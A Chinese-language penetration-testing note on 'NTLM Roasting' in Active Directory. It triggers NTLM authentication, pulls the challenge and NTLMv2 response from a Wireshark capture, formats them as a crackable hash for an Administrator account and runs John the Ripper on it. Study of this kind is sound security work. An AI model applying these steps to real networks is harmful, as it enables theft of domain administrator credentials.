> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/ntlm-roasting.md).
# NTLM Roasting
针对 NTLM Roasting 的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。
从一台 Windows 机器上，我们首先触发 NTLM 身份验证。
{% code overflow="wrap" %}
```bash
dir //172.16.0.10/c$
```
{% endcode %}
如果我们在 Wireshark 中捕获流量，我们可以按以下内容进行过滤 `NTLMSSP`.
然后我们检索服务器发送的挑战值。
* 9dcfb27e14194959
在响应中，我们还会找到客户端发送的加密部分。
{% code overflow="wrap" %}
```bash
d4742b082e949c7f93311599134ffb9b01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```
{% endcode %}
我们还注意到 `NTProofStr`.
* d4742b082e949c7f93311599134ffb9b
最后，你必须识别发起请求的用户名。
* Administrator
然后将所有这些值组合成破解工具所期望的格式。
{% code overflow="wrap" %}
```bash
UserName::Domain:NTLM_Server_Challenge:NTProofStr:NTLMv2Response-NTProofStr
```
{% endcode %}
{% code overflow="wrap" %}
```bash
Administrador::WHOAMI:9dcfb27e14194959:d4742b082e949c7f93311599134ffb9b:01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```
{% endcode %}
然后从 Linux 上，我们可以尝试破解 NTLMv2 响应。
{% code overflow="wrap" %}
```bash
john admin.ntlmv2
```
{% endcode %}
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